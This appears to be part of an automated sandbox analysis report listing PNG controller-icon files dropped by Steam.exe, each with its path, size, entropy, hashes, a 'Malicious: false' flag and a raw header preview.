Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:1361FCB9826911E5AD54BF523379A67C" xmpMM:InstanceID="xmp.iid:1361FCB8826911E5AD54BF523379A67C" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>x..4..KPIDATx....U..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0050.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	21368
Entropy (8bit):	7.932216190848588
Encrypted:	false
SSDEEP:
MD5:	C5193222666F6D3F7F44B4AD1A9F3771
SHA1:	9F61030490AF5291C52E48D3DE2DCA9D8859F270
SHA-256:	28B2A2A64317F22CA370C7B8BBC401A0D216536D3005189ED7AFBA7F14F02BD0
SHA-512:	668B4758075A4294D26A0B7CE53A7404B5A42AC002B673CFAB53378CF92956F2364F0F481C24C463971167F75C3EF83AFA6E5CAEDAE7768E542CBC6EF39376B0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:137A4048826911E595FB9CDB71CBC25B" xmpMM:InstanceID="xmp.iid:137A4047826911E595FB9CDB71CBC25B" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..[...O.IDATx..].x...

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0060.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10187
Entropy (8bit):	7.901564082727455
Encrypted:	false
SSDEEP:
MD5:	9B2F04ED9442B928B3CEBB4D86F62AF7
SHA1:	ED113CCF1DB186F5E5111282A41432D3C3C89F83
SHA-256:	3D78BBC659F887BB577AD06C1CE99F70671CCC2BD965AD25A927A57A08B9361D
SHA-512:	B0DE7CB53A0C4ECD4D1C2F8CF755C84421A02BD0ECE90AD0557E8DDDCD23E1E3BF4F3D1CE10678BACA679BAD54CC2B653346B7AB7134C73AAE2D013ADF99B35A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:14232ECB826911E5A51287AF3A5829C1" xmpMM:InstanceID="xmp.iid:14232ECA826911E5A51287AF3A5829C1" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...<..#.IDATx..].\|....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0070.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13167
Entropy (8bit):	7.942437524701599
Encrypted:	false
SSDEEP:
MD5:	111ABB28ACDFA8588980C51E32B6C709
SHA1:	BFCE03886B569F6772B23ECCC4D2C2638E831A53
SHA-256:	8F4CDC4B71D750903267A9224C6B4CEB6D917DF3E043CD8F28FDA7B4D41D6BAF
SHA-512:	8E942B51B647F78E793A4C5FC7D8A5AACB991C65E76149E3C87530ADEE383FF176B873E18EA1FC7ED161AC8C5992203D95F3CC5B8ED5D34577D7B1B86074118A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:1774E08B826911E5AE97EB53C786001E" xmpMM:InstanceID="xmp.iid:1774E08A826911E5AE97EB53C786001E" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.c.9../.IDATx.......

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0080.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1978
Entropy (8bit):	6.220568314749947
Encrypted:	false
SSDEEP:
MD5:	670DFF0C8627329CCDAD78D70E791753
SHA1:	53D46BFF950B826AEA7D838E548B94E523E1E129
SHA-256:	940371D580FA1A6E37E40CA79620D33E5FA2FFC191891C5AF120B58108D957A5
SHA-512:	601BBFC9DC642273B5638D099A4843C5B0D2F97645D28C638EDA17564D797F39A5647496878B8078BA03280C23E44A929E43460AF0045DEA32F0D681DFE152F6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:17BAC4F5826911E59BADC48BE07BF933" xmpMM:InstanceID="xmp.iid:17BAC4F4826911E59BADC48BE07BF933" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>,zy.....IDATx...1j.P..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0090.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12276
Entropy (8bit):	7.9081738560173775
Encrypted:	false
SSDEEP:
MD5:	ABFF4A6AE54A0DD8104896EF9B3D66A5
SHA1:	69579EA29EC1962FC26D67059BBA01582F9A3842
SHA-256:	8F500ADF06FAE791F9A2245FFE01BA00A779DE5902CF39E2AD35FCC47777B3B0
SHA-512:	FFC1C2D958CB7688B9044BF087BDE5A7EDFE6714B4077BB77C8125A225FA4649FF9837B22F9C757AC047743DB2384CCBD82761273072CB44A82DC63ABD2FA906
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:18810038826911E5BE60D75DDF2F9FD4" xmpMM:InstanceID="xmp.iid:18810037826911E5BE60D75DDF2F9FD4" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>'i....,.IDATx..].....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0100.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14522
Entropy (8bit):	7.918339011205376
Encrypted:	false
SSDEEP:
MD5:	736406E3A44BAC023E470EED65760494
SHA1:	F0F61E528FE7954ABA429D433D0841DD26B31D95
SHA-256:	C63DFE107165AC6BE00016AD1FA6CBE6212FAA2223B9D8A772DEB5C5E6EBD081
SHA-512:	22A093AF1AB18868D4BA12C80D4B4B8F0C57BE119B74397EF8649645B6F489903F4961C6801C26C85DCB5A9AD3C083645942C829C3A9B001629F78A48233964E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:1D3446D5826911E5B8A093218D89C26D" xmpMM:InstanceID="xmp.iid:1D3446D4826911E5B8A093218D89C26D" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>w.....4.IDATx..]....}

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0110.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8154
Entropy (8bit):	7.843822286766021
Encrypted:	false
SSDEEP:
MD5:	32418AB3E66BF77B236D6AB7E2B4F4D8
SHA1:	B5F9F961FA0315D6F7A5390C1B79F546E1B0116B
SHA-256:	46D11F8B28E2CBB304F26ECF73F0E7C213F3AF6317A8E6DB53E18BA55891FEA2
SHA-512:	51F992646723DE202B668AFD22822629A6AA9191BA3AA7558CAD14E5777B8CFADBD9DDFFA649EA4379763113957A7A5C74D462C3EF289D29C9D8E0CC0B0EE5D1
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:1E818FDD826911E5B40EC5018DF1AA6B" xmpMM:InstanceID="xmp.iid:1E818FDC826911E5B40EC5018DF1AA6B" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.l.T....IDATx...t.U..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0120.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9193
Entropy (8bit):	7.865830622122701
Encrypted:	false
SSDEEP:
MD5:	EA2FB4838DFFFE3422EEE3942A01D843
SHA1:	AEC8C79ACAD36BB8536A5B0BE041B6DBF73449A8
SHA-256:	64164C3A54DE2443CB6FF6557987A9EB7230EA060385A7DEE1BB23F2B3F300F2
SHA-512:	99B4B7661961135BA72E69CE6F16541281E438A5449E20419E1A055D1DC20013B1846124CC614922BB9E174A82D21E1852D1D9C0BDFA708F8847458E23FDE47F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:1F2AA571826911E5B10EFE5439D55067" xmpMM:InstanceID="xmp.iid:1F2AA570826911E5B10EFE5439D55067" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.X.c....IDATx..].....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0130.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8988
Entropy (8bit):	7.892605307049031
Encrypted:	false
SSDEEP:
MD5:	8A5F452D39915B1E87CECD55E895C6BF
SHA1:	75C97FE41DB4B37CF37F83D7D3CB2D911C7AF258
SHA-256:	E02632B061769E3A06BC603DDF75FADFF97762323A30B8F419AB145D1C2FC2D2
SHA-512:	3E7DB573AC61777AC12408A8D12BB7066B42016536E8C39C5AF7FBC04AB272B9B29386127267C9E645C1B80ABF1CD6BC8359F771FD61FB3E0501413FC1FD3323
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:2029CC79826911E59668884B341831A6" xmpMM:InstanceID="xmp.iid:2029CC78826911E59668884B341831A6" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>>..n....IDATx....U..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0140.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6663
Entropy (8bit):	7.738844108880412
Encrypted:	false
SSDEEP:
MD5:	4A6C2BF7996C08D2B37AF7E84EA3C7D8
SHA1:	A5D782FECADCDBE6863D3A8ED730323F08C8455D
SHA-256:	C328798A03758897FB0138DDC6028269F29FCE639CAC39364C047C16B634F7D8
SHA-512:	F974A37A78C906FBF9896EAA644E95E32BCA34D489F972230ECE9253D26EEE9780BBC9D533AD8CD135E6C7DF36F6F0C5A216414292E2BEB4F926BD027FD60F7A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:215534C3826911E5A282FADF6359F0D2" xmpMM:InstanceID="xmp.iid:215534C2826911E5A282FADF6359F0D2" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>* ......IDATx...pVez.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0300.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8035
Entropy (8bit):	7.4011929626178
Encrypted:	false
SSDEEP:
MD5:	B4CA8EACA06ACB984CB9591AFD0625B3
SHA1:	FE7E7DBD9D660B1EC8C62B5D02DA3B77E8AD9FD1
SHA-256:	ADCCF0D81091EF88CDAF185F2AC77911298245EF60E8AB993E7BA2AC1E3A7149
SHA-512:	25ACDAF72C2CFF2F0310A8EDEEC7B1D162416C330A8392C68D2BE635C6852488F20126B2276E7DF4718EC1361E62E9A79CDE35A0614D49EB2450A3A7ED0E2F41
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0301.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11126
Entropy (8bit):	7.624541737155487
Encrypted:	false
SSDEEP:
MD5:	A432B51DB7AC0C95B13786AE4956682D
SHA1:	1BC6C8DFE7FA91C3925D713E2454DEC5F317BA48
SHA-256:	093851483ED89978093FB5D4158982ED17F41DBDF7F706AA8E99B4BBF167962E
SHA-512:	B8DB5B5A6D9FDF7954EF4B194218776975A811215122F7FE9D3F9B6B349965CBB482678FE90E03FB14BE9345EC75FBAD5F4C40B0725B0A04DF4AD97EBE67CE19
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0302.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14638
Entropy (8bit):	7.77763679029932
Encrypted:	false
SSDEEP:
MD5:	9838F7BF821D2E6E7E2B17478014FE44
SHA1:	2A54B6198B3B464FE9F8E178D73B01737CDB6947
SHA-256:	FEBF4D812BBC531A18F243E9E29DE1F578FED26239A35B8354119EC69C25FD86
SHA-512:	412C3552CF0DCED33E1A19502CF22F844E97F1E5564AC47D13E3ABF4D90283F278B9018CF87DFD10BB3D7DB054C1E2299DC03F9DD51BC5B0155D62CED88A2B7F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0303.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11066
Entropy (8bit):	7.684716212988909
Encrypted:	false
SSDEEP:
MD5:	2F5F5A3C7E40553B3A5FF84357742137
SHA1:	0F5D59292D6C6D1C4B94263649C0DAC5DEF33CC3
SHA-256:	9B86051BE4653CFF6329C1DAF1EC45FDFCADE6360A84184F3E23B9EE4BBE0E17
SHA-512:	B5ADE7A9378C5BC05E45ACB1400602926B77EB0BFD368C4C382A31AE4293B98DF030F19D25B22D3190A004CA27BEA043CBA284F5A7E0E36162E91ED30D307E45
Malicious:	false
Reputation:	unknown
